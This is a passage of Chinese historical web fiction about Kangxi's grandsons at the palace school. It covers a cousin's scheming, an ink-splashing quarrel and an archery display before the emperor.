这个问题恰好弘昼前几日听过差不多的,那时候还因为这个挨了阿玛一顿训斥。现在听见这话,脸上不由自主就露出了笑意,总结了一下前几日答题的内容,又添了些后面阿玛补充的东西。 听得康熙脸上露出赞誉:“看来老四是教得不错。” 诚亲王瞥了一眼四爷,心里嘀咕着,他在家中的时候也亲自教导孩子,按理说他的学问要强过十个老四了。怎么偏偏老四教孩子还得了汗阿玛的夸奖,看来还是弘羲弘景他们太不争气了。 问完后弘昼便放松了下来,接下来就没他什么事了。皇玛法要接着问下头的人,他们这些已经被问过的只需要看戏就行了。 果然,康熙将目光移向了后面的孩子。开始问老五家的弘曈,弘曈答得有些支支吾吾的,但好歹最后答上来了。 恒亲王脸上不仅没有儿子答得支支吾吾的不悦,反而在弘曈答上来后脸上露出了真心实意地笑意。似乎还偷偷给弘曈比了个嘴形,悄悄夸奖着。 很快地,这一圈就问完了,康熙勉励了皇孙们几句便带着人走了。八爷在离开的时候给弘旺使个眼色,叫到外面去似乎是嘱咐了什么。 这晨间康熙过来考校,让弘昼大出风头。毕竟康熙问其余的孩子都只是问问题,很少有能聊一两句的。但偏偏到了弘昼这里,不仅夸了几句,甚至还关心了好几句,这可是其余人都没有的待遇呢。 从前在上书房不算多令人瞩目的弘昼,一下子就让大家都认识了。毕竟想要在康熙面前表现的人太多了,其余人即便题答得多好也就是一句夸奖,但弘昼在答题之前就得了皇玛法的看重呢,这是多大的体面。 不过弘昼本人倒是没什么太大的感觉,在他心中,自己多少也算这位老爷的孙子。爷爷和孙子多说几句话罢了,远远达不到看重的程度。就算是看重也不是看重自己这个一年到头见不到几面的孙子,多半是看重自家阿玛罢了。 比起这个,倒是另一件事让弘昼有点讶异,那就是不知道什么时候开始那个八叔家中的弘旺似乎和四哥开始混熟了。 自家这个四哥的性子,弘昼是很清楚的。对于上书房中这些堂兄弟大部分都是属于泛泛之交,除了自己外,勉强和弘曈还有弘暻相熟。哦对了,还要加上弘曈,不过弘暾并不和他们在一起念书,平日里相处的机会也不那么多。 见弘旺笑吟吟过来打招呼,等他走了后弘昼按捺不住心中的好奇,对着弘历问道:“四哥,你怎么和他混熟了?” “他前些日子突然过来和我套近乎的,”对于弘历也不解,老实说道,“其实不算相熟,但他带着笑脸前来与我打招呼我倒也不好意思冷着脸回。” “原来如此,”弘昼点了点头说道,“不过听说咱们阿玛和八叔关系一般,那咱们还是不要和八叔的孩子有太近的接触吧。” 万一不小心被坑了,那找谁说理去。 弘历点头道:“你说的我自然知晓,我也并不与他多言。只他主动前来的时候我给些面子罢了,面子功夫上做到位也就行了。” 听了四哥的话弘昼放心了,便略过这个话题和旁边的弘曈聊天了。 “真是没看出来啊,”弘曈靠着椅子说道,“我以为你在家中休养身子的时候就只需要玩了,没想到四伯竟然这么狠。直接亲自开始教你念书,啧啧啧,这日子过得是不是比在上书房还惨。” 推己及人,对于弘曈来说,虽然自家阿玛平日里很是和蔼的样子,但他还是不大愿意让阿玛亲自来教自己念书的。更何况看着四伯平日里就爱冷着脸,弘昼在家中念书的时候肯定没少挨骂了,真可怜。 这样想着,弘曈突然庆幸了一下。还好自家阿玛学问很一般,若非如此的话说不定阿玛心血来潮了真的会过来教他们兄弟学问。 弘昼回忆了一下阿玛教自己时候的冷脸,决定还是在外面维护一下自家阿玛的形象,嘴硬道:“怎么会呢,我阿玛教我的时候还是很耐心地。” 弘曈带着怀疑的目光上上下下扫视着弘昼,似乎在说着你还不快坦白从宽。 对此,弘昼梗着脖子状似无辜。 然后弘曈将目光投向了弘历,似乎在确认弘昼话语的真实性。 弘历自然不可能在这里拆自家阿玛和弟弟的台,很是坦然地迎接了弘曈的目光。 最终弘曈收回了目光,嘀咕了几句。或许四伯在家中的时候和在外面不一样吧,可能在外面是个冷面王爷,在家中就变成了暖面的慈父了。 听见暖面慈父这个形容词,不仅是弘昼,连弘历都喷了口中的茶水,向弘曈投来了敬仰的目光。到底是什么样的人,才能通过自家阿玛那张冷脸想象出暖面慈父这个词语的。 “你们怎么这个表现,”弘曈有些不满,“难道我猜错了吗?” 弘历被茶水呛到,咳嗽了两声:“没错没错,就是这样的,你想的一点错也没有。” 算了,就让他误会吧。 说笑间,便到了下午,要去校场上练习骑射了。 这让弘昼很兴奋,细算算他已经快两三个月没有骑马射箭了。在府中的时候按照太医的嘱咐,他还不能干这些力气活,去了庄子也被禁止不能去骑马。 整日里在家中念书的时候,他就想念着骑马的感受了。宫中的校场虽说不大,但骑马的感觉还是很不错的。 瞧见弘昼这兴奋的样子,弘旷冷笑了一声:“没见识。” 在弘昼因病告假的时候,弘旷其实就在心里默默祈祷。最好叫这小子一直病重,来不了上书房最好了,那他以后就不用在上书房看见这个讨人厌的家伙了。 在后面弘昼两个月没有来的时候,弘旷心里高兴得不行。这么久没来,不是病入膏肓了就是病了之后伤了身子。不论是哪一样,放在弘昼的身上都让弘旷忍不住就笑出声来。 这个讨人厌的家伙可算是遭到报应了。 在今日瞧见弘昼来上书房后,弘旷就有点不高兴。到皇玛法考校众人的时候,他见弘昼出了大风头,而自己则没有被皇玛法考校便更不高兴了。这一上午都在生闷气,现在下午了总算不打算自己憋着了。 弘昼如同没听见一样,继续和四哥说着话表达着自己的兴奋。 他现在了解到了一种方法,当有人试图以语言暴力你的时候回击回去当然是一种不错的选择。但还有一种很好的选择,就是当这说话的人是空气,这种得不到回应的语言暴力说不定会让那人觉得无趣或者破防。 很显然,弘旷是第二种,他见弘昼似乎没打算搭理他心中更气了。但见乌善师傅已经过来了,想起那次被乌善师傅警告的样子,他咬了咬牙忍下了这口气。 该死的弘昼,一回来就让他不高兴。 弘昼当然不知道他的想法,就算知道的话心里也只会高兴。让你生气了,真是抱歉啊~ 练习骑射最开始的时候是开心的,但随着头顶太阳温度的升高,还有自己身上愈加疲惫的感觉传来,就变成了难受。 特别是现在已经步入了夏天,耳边传来偶尔的蝉鸣,头顶的太阳烤得人火。辣辣的。这些感觉加起来,让弘昼原本对能练习骑射的喜悦都变成了怎么时间过得这么慢的抱怨。 等到了散学的时间,弘昼喘着粗气在一旁的椅子上坐了下来,接过了小周子递过来的一杯凉水。这样运动过后他是喝不了一点热水的,就算他现在不能用冰也一定要喝凉的才能缓解身体里的燥热。 在这里坐着休息了片刻后,弘昼扭过头就打算叫着四哥一起回阿哥所,回去用膳后就该睡觉了。 但还没开口,就听见了旁边传来了弘旺的声音。 第79章 墨滴 第79章 “许久未见了,听闻堂弟病了,如今可大好了?” 弘昼微微抬头就看到了弘旺正笑着走过来的声音,眉头微微蹙起,他和这位人缘好的堂哥真没什么交集。 不过人家笑吟吟过来找你寒暄,弘昼也没有冷着脸,只是淡淡应道:“已经好全了。” 在弘昼身旁的弘历微微皱了皱眉,起身挡在了弘昼面前:“弘旺堂兄前来有何贵干?” 这些日子弘旺对他的示好的次数不算少,但他每次都是淡淡应付过去。若是一般人想要相交,被这样应付几回也该恼了,但偏偏弘旺却一直未曾恼怒。这让弘历的心中不由自主地更加警惕了,若非有所求,不然应当不会这样对他人冷淡视若无睹的。 “不过是许久未见弘昼了,想着他刚病愈,问候一二罢了。”弘旺看着弘历挡在弘昼前面的样子,脸上的微笑凝滞了一瞬。 这两兄弟的感情倒是比他们和弘时要好不少,不过既然他们的兄长能被挑动,那他们自然也能被挑动。只可惜了,本以为弘时这枚棋子能用久些的,没想到用了一次就废了,废了也就罢了,还没有弄死一个。 这样想着,弘旺不免在心中感慨了一声弘时的无用。他虽然不知道弘时具体的行事,但也明白弘昼这一病后弘时立刻就要家中给他额娘侍疾了,若说其中一点关联没有,弘旺肯定是不会相信的。 只是没想到弘时这样没用,都把他自己折腾没了,竟然还没有弄死弘昼。 这样想着,弘旺脸上笑容一点不变。弘时没了,这两兄弟之前同气连枝皆是因为有一个共同的敌人长兄,现在这个敌人没了,也不知道会不会依旧这样要好。雍亲王府的爵位,到底只能给一人。 “那便多谢弘旺堂兄关心了。”弘历的脸上没有什么笑意,依旧挡在弘昼面前,“我们兄弟俩急着回阿哥所还有些事,便就此告辞了。” 弘旺笑着点了点头,似乎是一个好哥哥一般还嘱咐了两句若有什么为难的事情可差人去寻他,随后便离去了。 弘昼看着弘旺离去的背影,又看了看自家四哥这脸上明显不悦的表情,疑惑:“我没来上书房的这段时间,弘旺得罪四哥了吗?” “没有,”弘历看着弘昼,脸上原本不悦的神情消失殆尽,“不仅没有,他这段日子对我堪称……热情。” 斟酌片刻后,弘历吐出了这两个字。 “热情?”弘昼重复了一遍,他看到这位堂兄的笑脸心里总有些毛毛的感觉。之前他们两兄弟和这位基本上没有交情,怎么会突然对四哥热情呢。 “你也离他远些。”弘历说道,“虽说之前三哥在被阿玛训斥后似乎和他关系一般,但我有好几回都瞧见他们偷偷见面。三哥这次……说不定有他的原因。” 弘昼病了,三哥也被禁足了,这样巧的巧合让弘历忍不住多想。不过这样的话不能直接说出口,便只能语焉不详地提醒弘昼。 弘昼并不是蠢货,听到这话就明白了四哥是什么意思:“四哥你放心好了,我会远着他些的。” 心中有了防备,弘旺每次过来与他们说话的时候,弘昼和弘历总是没什么反应。对他的笑脸和话语无动于衷,让弘旺本打算和他们混熟后再挑拨的心思落空了。 这让弘旺心里很不高兴,他自幼受阿玛的教养,想要做的事情很少有没做成的。即便是来了上书房之后也一直是无往不利的,不论是想要交好的堂兄弟,还是想要挤兑某人,最终都能得偿所愿。 这种挫败感在弘旺休沐回到家中的时候依然存在,他刚从宫里出来就迫不及待去了阿玛的书房,想要从阿玛那里得到一点教导。 刚来到八爷的书房,迎面走来的是一个身着紫红色上绣缠枝花旗装的女子,她的容貌艳丽,脸上总带着略显张扬的笑意,丹凤眼中似乎藏着寒芒,一看便知道是个极为厉害的人。 “儿子见过额娘。”弘旺一见这女子脸上便堆了笑上前见礼。 弘旺是八爷府后院的侍妾所生,但因为是八爷的独子,是以一出生就养在了八福晋的身边。对于这个孩子,八福晋是从小养到大的,感情与亲生的什么两样了。 “好孩子。”八福晋脸上的笑意柔和了些,上上下下将弘旺看了一圈心疼道,“怎么瞧着又瘦了,这到底是进宫去念书的,还是进宫去受罪的。我辛辛苦苦将你养到这么大,念书虽重要但还是要顾惜些自己的身子。” “多谢额娘关心,儿子省得。”弘旺笑着应道,他出生就没有见过亲额娘,虽说知道自己额娘另有他人,但谁会关心一个没见过的侍妾呢?毕竟眼前这位额娘,待自己一直是很好的,“对了,儿子从宫里头带了些东西,等会给额娘送过去。” 八福晋又关心了几句,才带着身边的侍女走了。她知道弘旺过来见他阿玛必是有要事的,便也不打扰他们父子俩了。 八福晋身边的侍女看了看自家主子的脸色,确定自家主子心情应该不错才笑道:“咱们大阿哥真是孝顺,在宫里头念书都不忘给福晋带东西呢。瞧着这其他府上,哪有咱们大阿哥这样孝顺的孩子。” “弘旺自然是个好的,”八福晋听到奉承面色不变,眼里却涌上了一抹笑,“当初抱到身边的时候才丁点大小,如今瞧着过个四五年的就能娶福晋了,这岁月匆匆真是不饶人啊。” “福晋这话可说错了,奴婢这打眼瞧着还以为咱们家福晋是二八年华的小格格呢。这和当年在安亲王府备嫁时长得一模一样,哪里就能看出孩子都这么大了。果然这人过得好,自然就显得年轻。” 旁边的侍女们你一言我一语地说着,八福晋脸上的笑意也更加明显。这样的好听话谁不喜欢呢,偶尔听一听只会让心情更加愉悦。 另一边弘旺站在自家阿玛的书房片刻后,才命人进去通报。 “大阿哥,爷有请。” 弘旺踏进书房,这间房子随处摆放着书画,布置得很是雅致。瞧着并不像是一位醉心朝堂的人书房摆设,倒像是沉浸书画之人的摆设。 “儿子见过阿玛。” 上首的八爷淡淡应了一声,随即便叫他起来。 弘旺在下头低着头一五一十禀报了自己这段时间在上书房的行事,说到弘昼和弘历几乎片刻不离挑拨不动的时候,八爷微微抬了抬眉。 他从前也想过挑拨四哥和十三弟,甚至在太子刚刚倒台的时候也想过施恩与十三。偏偏最后十三不领他的情谊,一心认定了四哥,这才让十三现在依旧被汗阿玛厌恶。 “他们既牢不可破,那你便换个法子就是了。”八爷的声音似乎永远都是温柔的,“他们兄弟感情好,难道上书房所有人都与他们兄弟俩的感情好吗?” 弘旺的眼中出现恍悟,可随即又变成了挣扎:“可与他们兄弟俩最不对付的是九叔府上的弘旷,若是他……” “那又如何。”八爷的笔不停,正在描绘着一张展翅高飞的海东青。 弘旺抿了抿唇,随即便应下了。 见弘旺似乎没有什么别的话说了,八爷说道:“你在上书房的表现不错,但并不是最好的。这一个多月没见你额娘了,去给她请安吧。” 说完便挥了挥手,似乎是在赶弘旺出去。 弘旺退出的时候想起上书房中不知是谁对他说过的话了。 “你阿玛平日便这样温和,想必在家里也是这样吧。真是羡慕你,我阿玛要是能有你阿玛一半温柔就好了。” 温柔?或许吧,只是他记得自幼便很少看见阿玛满意的神色。永远是淡淡的,永远是你还差一点。 但阿玛在对待九叔十叔家中的那些孩子的时候,又很是温柔。从前也瞧过阿玛待弘旷温柔的样子。 休沐结束后,弘旺回宫后便和弘旷走得近些。 弘旷有些受宠若惊,要知道家里的这几个兄弟都想和这位弘旺堂兄交好,毕竟自家阿玛和八伯关系很好。若是能和弘旺交好,说不定能让八伯高看他们一眼,进而影响到阿玛。 带着这样的想法,弘旷和弘旺的关系越发近了。 这些都被弘昼看在眼底,不过好在这位弘旺堂兄没有往他们跟前凑了。管他和谁交好,只要不往自己跟前凑就好。 直到弘旷对他的态度越发恶劣,原本弘旷针对弘昼也只是针对弘昼一人。他从来不会主动去招惹弘历,毕竟他心中也明白,一下子招惹两人他肯定应对不了,弘鼎是多半不会帮他的。 但是这段日子,弘旷仿佛是突然有了底气一样,对弘昼和弘历的态度都变差了。不仅对着弘昼冷嘲热讽,对弘历的态度也和弘昼看齐了。 这日弘昼拉着弘历用过点心后去外面看看树呼吸呼吸新鲜空气,整日里在上书房待着他只觉得头昏脑涨的。出来看看树看看花,心情还能好点。 心情好了一点后,算着先生应该马上就要过来了,便起身返回上书房中。 但刚进书房弘昼便察觉到了不对,怎么好像都在瞧着自己和四哥这边。回到自己的案几边后,弘昼明白了原因。 原本干净整洁的案几上现在撒着几珠墨滴,正正好好地落在了弘昼写完的大字上,这个样子是肯定不能直接上交给先生的,而先生马上就要过来了。 第80章 找茬 第80章 这个认知让弘昼的脸色一下就冷了下来,双目如剑一般看向了周围的人。其余人表现得都很是正常,只除却一人。 那就是一直和弘昼不大对付的弘旷。 之前的不对付一般都是打打嘴仗,所以弘昼没有防备。现在看着自己大字上的墨痕,他的脸色冷得和四爷几乎一模一样,这是弘昼之前几乎没有出现过的神色。 弘历明显也看到了那张大字,目光看向了弘旷,见他嘴角还有着压抑不住的笑容脸色也冷了下去。因为弘旷之前就和弘昼不对付,弘历对他也没什么好感,平日里几乎不曾与他说话。 但他奉行人不犯我我不犯人这个准则的前提是,他自己和弟弟都没有被欺负。而弘旷现在这个行为已经踩在了他心中的那一条线上,让他心里忍不住开始涌起烦躁。 “你干的?”弘昼拎起了自己那张带着墨迹的大字,走到了弘旷的跟前,声音冷沉问道。 弘旷却并不怕,他脸上的笑容甚至有些刺眼:“真是对不住啊弘昼,我方才磨墨的时候没注意,这才一不小心溅出去了点。这是染上你的书了吧,我等会叫人拿一本来赔给你。” “赔给我?”弘昼重复了一下这三个字,脸上突然笑了一下,“那就不必了。” 说完,弘昼很是自然地拿起弘旷案几上的毛笔,自然地蘸满墨水在弘旷还没反应过来之前在他案几上一甩。 这一下不仅弘旷的大字,他的案上几乎都布满了星星点点的墨汁,连书上都没有幸免。 “扯平了,”做完这一项后弘昼对着他刻意笑了笑,“真是对不住啊弘旷,我这也是没注意,才一不小心溅出去了点,我等会叫人拿本书来赔给你。” 弘鼎在一旁愕然地看着自*己书案上被波及的一滴小墨迹,但这个墨迹并未在他的书上,他便拿出了手帕悄悄擦拭干净了。现在这个样子,他并不是很想掺和进去。 弘曈看着这一幕吃惊地张大了嘴巴,几乎成了一个o形。天,弘昼也太刚了吧。 刚才弘旷在做坏事的时候,弘曈正去找了他大哥一趟,所以并未直接看见。他回来的时候根本没注意弘昼的案几,是在弘昼回来出声后才看见的。 能做出这件事的人不用多说,弘曈就知道是谁了。但见到弘旷这样直接地承认还是有一点小小的惊讶,他不怕弘昼冲上去把他揍一顿吗。 最后虽然没有揍一顿,但这样的报复在弘曈看来更解气。 “你!”弘旷气到站起来指着弘昼的鼻子骂道,“你不可理喻!” 弘昼用手上的毛笔将弘旷的手挑开:“别用你的手指我。” 弘旷的胸膛在不停地起伏着,眼睛里燃烧着带着愤怒的火焰,看着弘昼的时候似乎恨不得将他吃了一样。 而弘昼则悠悠然回到了自己的座位上,等待着先生过来。 今日这个课业是只能这样交上去了,最多被先生骂一通罢了。反正先生又不会体罚,被骂就被骂吧,大不了今日再补上就是了。 弘旷则站在原地盯了弘昼好一会,见他一直不搭理自己才愤怒地坐下开始收拾。 不多时,先生就过来了。 他一边指了一节让弘昼他们开始念,一边开始翻开这些大字。 练字是每日都要练的,只有坚持才能看到一点收获,所以他开始教这些孩子的第一天就说了每日都要写大字。 弘鼎有些进步了,弘曈似乎写得也不错,怎么弘历还是这个样子,弘暻这个一看就写得不认真。 翻到后面,先生的视线被两张沾染了墨迹的大字吸引了。 其中一张带着零零星星的墨迹,还算看得清写的是什么,但是另一张上面的墨迹就太浓了。几乎遮盖了三分之一的字,这让先生怀疑了片刻,这是不是弘旷想出来的偷懒的招数。 将这两张大字拿在手中,先生走过来分别放到了弘昼和弘旷的桌子上,问道:“这是怎么回事?” “先生,”弘旷不忿地站了起来,指着弘昼说道,“是他将墨水洒在我大字上面的,你看这书上也被洒了。” 先生的目光转向了弘昼,眼里带着犹疑。 在他的印象中,雍亲王府的这两位小阿哥都不是爱惹事的性子。弘历虽说字写得一般,但念书上面还是很刻苦认真的,在他教的这些皇孙中是显得很是优秀。而弘昼虽说念书没有他哥哥好,但字写得不错,平日里也不是会捣乱的孩子。 弘昼依旧坐在椅子上,只凉凉道:“说了别拿你的手指我。” 弘旷盯着弘昼,愤愤咬唇,深吸了一口气:“先生你看,如今你还在这里他都敢这样威胁我。刚刚就是他故意过来将墨水洒在我案几上的,他是故意的!” “我方才都说了不小心了,”弘昼也站了起来,面露无辜,“既然你能不小心将墨水洒在我的大字上,那我为什么不能不小心将墨水洒在你的大字上呢?” 先生听明白了,原来是弘旷先招惹的人。他并不是很想在课堂上给这两位断案,便当即呵斥了一下让他们都各自坐下。 “我不管你们是因为什么,”先生沉下脸来显得很有气势,“但今日。你们两个交上来的不作数,明日交双倍上来。” 他并不想知道是谁错谁对,他只想让他们在课堂上都乖巧些,不要搞幺蛾子。 弘昼想起今日要写双倍的大字,便忍不住想要叹口气。今日睡觉的时间又要往后延两刻钟了,但愿明日早起的时候不会因为晚睡了两刻钟脑袋疼。 盯了弘昼一会后,弘旷才带着怒意坐下。 连弘旺堂兄这样好的人都受不了弘昼这个人的脾性,就能看出这是一个多么糟糕的人了。虽说这次自己也受了罚,但也算给堂兄出了一口气了。 想到这,被罚了的弘旷心情立刻就好转了。堂兄肯定会感谢他的,毕竟他帮堂兄报复了弘昼这个混不吝的。 弘鼎微微将头侧过去,正好看到了弘旷偷笑的脸。他沉默片刻,实在想不通这位四哥为什么一定要和弘昼过不去,若是相性不合便互相不交集便是了。 得罪弘昼到底对他有什么好处呢? 心中下了决定,弘鼎打算离这位似乎很拎不清的四哥再远点。总感觉他早晚要惹出祸端,只盼着不要连累自己就好。 弘暻端起茶盏抿了一口,来上书房念书就是好,在府中的时候哪有这些好戏能看。好可惜没有打起来,若是打起来了先生是不是今日就不会上课了。 自那日后,弘昼和弘历便不将自己的大字随意放着了。即便放在书案上,也是要人看着。 弘旷那次后几乎将弘昼当成了空气,不主动和弘昼说话,甚至可以略过弘昼。不过弘昼对此并没有什么感觉,他也不是很想搭理这个似乎有病的人。 与此同时,弘旺和弘旷走得更近了些。 这让弘昼更警惕了点,他觉得弘旺对他还有四哥都有些不怀好意。之前他和弘旷之间虽然不对付,但自从他病愈回来后一般都只是口角上的争端。 弘旷在弄脏他大字的前两天他们之间甚至称得上是和平的,所以弘旷突然发疯找茬这件事就很值得推敲了。 但弘旷这阵子除却将他当空气外,也没有什么别的表现。 直到时间来到了休沐的前一天,因为明天就能回府见到阿玛额娘,还能休息两日,所以上书房中上上下下都是一派轻松愉悦。 毕竟明天下午就能回家了。 上午的课完了之后,用过午膳大家都往校场走去,但刚到这里就收到了一个噩耗。 那就是皇玛法要带着人过来看看他们骑射练得如何了,甚至还要挑出一两个和皇玛法身边的御前侍卫比试。【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 表现机会 第81章 听到这个噩耗的弘昼并没有多惊慌,毕竟他的年纪是怎么都不可能被挑中和皇玛法的侍卫打一架的。顶了天也就射箭骑马表演一下,他觉得叫到自己的可能性实在不大。 那些十二岁以上的皇孙们则炸了锅,上书房中年纪最大的也就是十四岁,只有两人。十二岁以上的也只有五人,他们被叫到的可能性就大多了。 只见这几人绷着脸不断练习着拉弓射箭,还有人热身了一下拉来旁人开始布库,力求能在皇玛法来之前将自己的身体练到平日里最好的状态。 和弘昼这样年纪小纯粹来念书的孩子们不同,这些大孩子来上书房有了另一层念想,那就是在皇玛法跟前露个脸,最好在众多皇孙中脱颖而出。让皇玛法倚重,给他们派些差事甚至封个官最好不过了。 毕竟皇子们的继承人只有一个,其余的都要去内务府考封。而这考封得来的爵位很低,只能勉强领些宗室俸禄饿不死罢了。若能得皇玛法看重在朝堂上有了一席之地,那这宗室的爵位倒也没有那么重要了。 特别是大阿哥之子弘昉,他显得极为拼命。毕竟其余的皇孙们就算得不到皇玛法的看重也是有阿玛帮着筹谋前程的,但他没有,他的阿玛被废没有爵位,更不可能替他们这些孩子筹谋前程。 他日后能不能去宗人府考封都尚未可知,便想要抓住任何在皇玛法跟前露脸的机会。听闻阿玛在犯错之前也是颇得皇玛法宠爱的,现在阿玛被圈禁了,这份宠爱若是能顺延到他身上就好了。不说别的,能在皇玛法跟前做个御前侍卫他就心满意足了。 申时初,康熙的身影果然出现在了校场外。他的旁边跟着莫约七八个侍卫,还有几个文臣打扮的,并没有跟着皇子。 乌善见康熙过来,脸色激动地微微泛红。被打发到这里教皇孙后,他面圣的机会就少了许多,能在皇上面前露脸对他来说也是一件好事。 “参见皇玛法/汗阿玛。” 康熙带着笑看着下首请安的众人,微微挥了挥手示意他们起来,随即便看向了胤祎三兄弟。 “汗阿玛,许久不曾见您过来看儿臣骑射了。”胤祎在康熙面前显得很是活泼,脸上带着笑意说道,“儿臣这段时间进步不小呢,等会儿您就瞧着吧。” “汗阿玛汗阿玛,我已经学会了射箭了。”胤禧的眼睛亮晶晶的,他今年六岁,有单独的先生和武师傅。 胤祜也不甘示弱,凑到了康熙面前说话。 听着这三个小子的话语,康熙面上的笑意更浓了,他喜欢这样膝下绕儿孙的感觉。特别是这样还未入朝的孩子最是纯真的,听他们这些争宠的话心情也能不错。 “行了行了,”康熙笑骂道,“若有本事等会儿就拿出来,倘若是在众人面前丢了脸,朕可不会给你们找补的。” “汗阿玛就放心吧。”胤祎把头一扬。 弘昼看见凑上去的三位皇子,又瞧了瞧明显也想凑上去的几位皇孙,悄悄拉着四哥往后退了一下。他们两个的年纪被选中的可能性不大,还不如到后面去看戏。 皇玛法过来视察,武师傅肯定就不会盯着他们练习了,也是个偷懒的好机会。 弘旷注意到了这一幕,他嘴角微微翘起,只以为弘昼是自己骑射不佳怕被选中。 不多时,康熙就点了人开始看他们的骑射练得如何了,这一水儿点的果然都是十二岁以上的人。 弘昉在其中很是出色,甚至叫康熙命带来的侍卫前去比试,最后虽然输了但也算出了点风头。 将正经考校的点完,康熙就开始欣赏这三个儿子的骑射了。 平心而论,胤祎几人的骑射在如今的上书房中,并不能拔得头筹。但毕竟这几位是康熙的亲儿子,康熙身侧带着的侍卫还有大臣们都很自然地开始称赞。 胤禧听见夸奖声,忍不住挺了挺自己的小胸膛。他现在还不大能分辨这些人夸他并不是因为他刚才表现得好,而是因为他是他阿玛的亲儿子。 他只知道自己被夸了,面上便忍不住带了点儿自豪之色。 胤祜与他如出一辙的神情,看的康熙忍不住笑了。 见这两个孩子都面露期待地望着他,康熙笑笑之后便称赞了几句。如今的上书房已经不是从前的模样了,他们能学成这样已经很不错了。 眼看着康熙该看的看得差不多了,该拉出来比试的也已经比完了,马上就要回乾清宫批折子的时候,旁边突然窜出来了一个人。 “皇玛法,孙儿刚刚听见弘昼似乎想表现一番。” 正躲在人群后面看戏的弘昼一愣,马上就辨别出了这个声音,脑海中涌起了一股愤怒。 有完没完?这是今天第二次来招惹自己了。 弘昼的目光如电一般看向弘旷,轻轻朝着他冷笑了一声,这是想看自己出丑? 康熙的目光穿过众人看到了弘昼和弘历,又看了看说话的弘旷。瞬间便明白了现在是个什么情况,看来是老九家的和老四家的不对付。 趁着他这个皇玛法过来,想要叫老四家的出丑。 弘旺的眼神也闪过了一丝愕然,他实在想不出为什么弘旷竟然会使出这样低劣的手段。在场的恐怕没有一个人看不出他为何说这种话,之前怎么没看出弘旷竟然是个这般的蠢货。 这样想着他又看了看皇玛法,见康熙眼底闪过一丝不喜,心里很快就做下了决定,这件事办完了要离这个蠢货远一点。 “是吗?”康熙的声音淡淡的,目光沉沉地看向了弘旷,对这个孩子有些不喜。 他对老九也称不上有多喜欢,这个钻进钱眼儿里这年轻时会勒索大臣的孩子在他众多的儿子里面显得格外奇葩。 只是如今年岁大了,看着孩子们便心软了些。些年对老九还有其他孩子的态度也越来越好,如今一看到这个显得有些蠢的弘旷,便忍不住想到了年轻时候的老九。 弘旷刚刚被抛到脑后的理智,在皇玛法冷沉沉的目光中找了回来。 理智回笼之后,他才意识到他在做什么,他竟然在皇玛法面前做这样愚蠢的事情。意识到这个之后,弘旷浑身抖了一下。 但是箭在弦上不得不发,他已经说了这个话了,便只能认了。 康熙的目光又看向了弘昼,这次要温和了许多:“弘昼,可是如此?” 相较而言,康熙更为喜欢这个老四家的孩子。 弘昼扭头和四哥对视了一眼,大大方方说:“孙儿并未说此话。” 想要他在这样的场合自愿给弘旷面子,真是想得美。他和弘旷离得那么远,得是个什么招风耳才能听得清他说话。 这下,不少人的目光就看向了弘旷。其中带着恶意的,厌恶的,还有带着笑意的都有。其中最让弘旷惊惧的,便是大哥弘晸和二哥弘暲投过来的目光了。 前几个月这两位兄长还警告过他别丢了九贝子府的脸,今日这个情况之下这两位兄长在回去后定然会教训他。 康熙笑出声来,并未再看弘旷一眼,而是说道:“你虽未说,但朕既然点了你出来,你便出来叫朕看看你骑射练得如何了。病了这两三月,骑射可曾落下。” “自然是落下了,”弘昼回答得很是自如,“比不得四哥还有其余的几位堂兄了。” 生病几个月都没有碰骑射射箭,现在刚回来复健几天,弘昼自然不会觉得就能一下子赶上四哥他们。要知道人家可是扎扎实实练习了这两三月的骑射呢。 听见这样一点不带水分的话,康熙笑意更重了,心里也带了点赞叹。想要在他面前露脸的孩子实在太多了,像这样老老实实的倒也少见。 弘昼出列很是大方地接过了弓箭,他力气不大,现在用的还是给小孩子用的弓,靶子的距离也不算远。 因为刚刚在皇玛法跟前打了预防针,所以弘昼对于自己今天的期望就是射中靶子就行了。也不管能不能射到中间,只要不脱靶就是大成功。 带着这样的念头,弘昼即便被许多人盯着但一点紧张的感觉也没有。他搭箭拉弓,注意力很是集中地看着对面的靶子,脸上的神情也转为严肃和沉静。 片刻后,箭射到了靶子上靠近中心的位置。虽说没有射到最中心的那个点,但这个成绩在他这个年纪已经算很不错了。 弘昼有点惊喜,竟然还超常发挥了,平日里他虽也不会脱靶,但多半也是射不到这个位置的。 弘历看见这一幕身体放松了点,心里略松了口气。要是在皇玛法跟前丢脸了,肯定是会被上书房许多人嘲笑的,幸而弟弟这次表现得不错。 看到弘昼射到的位置,弘旷瞪大了眼睛,目光中带着不可置信。怎么可能呢,他这段时间看见弘昼练习骑射的时候总是气喘吁吁的,射箭也是绝对射不到这个位置上的。 他本来是想要弘昼在众人面前,特别是康熙面前丢脸的。但这样一来,丢脸就是完全不存在了,甚至可以说是给了弘昼一个当众表现的机会。这样想着,他气得胸膛不断起伏。 这一下自然也让康熙夸了几句,刚刚的胤禧和胤祜和弘昼都是同龄人,他们也就勉强让箭能射到靶子上罢了。 听见皇玛法的夸奖,弘旷心中更是恼怒,可现在已经没有人看他了。所有人都在盯着那个讨人厌的弘昼,甚至连皇玛法和他身边的大臣都盯着这个该死的弘昼。 第82章 围猎 第82章 预想到的让弘昼出丑的画面并未出现,反而送弘昼在众人面前露了一回脸面,弘旷几乎要将肠子都悔青了。 尤其是意识到自己这次也在皇玛法跟前露了个脸,但这个露脸却并非正向的时候,弘旷心中的悔意更甚。他几乎不敢想若是阿玛知道了他这回相差踏错之下做出来的丑事,会怎样责骂他。 会不会直接不许他来上书房念书了? 在兄弟们皆在上书房念书的情况下,他若是被带回家中,那阿玛必然也不会费太多的心力去为他延请名师。说不定随便找个秀才举人就来教他了,到时候他与兄弟们之间的差距越来越大,说不定日后连考封都没机会了。 待康熙带着身边的大臣和御前侍卫走了之后,弘昼刻意凑到了弘旷跟前,脸上带着十分灿烂的笑感谢道:“这还多谢你方才为我说话,不然我怕是不能在皇玛法跟前露这一回脸。平日里怎么没瞧出你竟然是这样舍己为人的性子,拼着让皇玛法对你不悦的可能,也要叫我在众人跟前露脸。” 若是只看弘昼的神情,不知前情的人听着他感激的话语可能还真以为他是过来感谢的。 但弘旷只觉得弘昼脸上写着赤。裸裸的挑衅,他握紧了拳头,狠狠瞪了弘昼一眼扭头过去不再看他。 他刚刚甚至已经想到阿玛如何怪罪,现在惊惧之下也不敢在众人面前和弘昼起太大的冲突。直接一拳打过去自然是爽快的,但到时候闹到乌善师傅跟前,甚至是皇玛法的跟前有没有人护着他就是个未知数了。 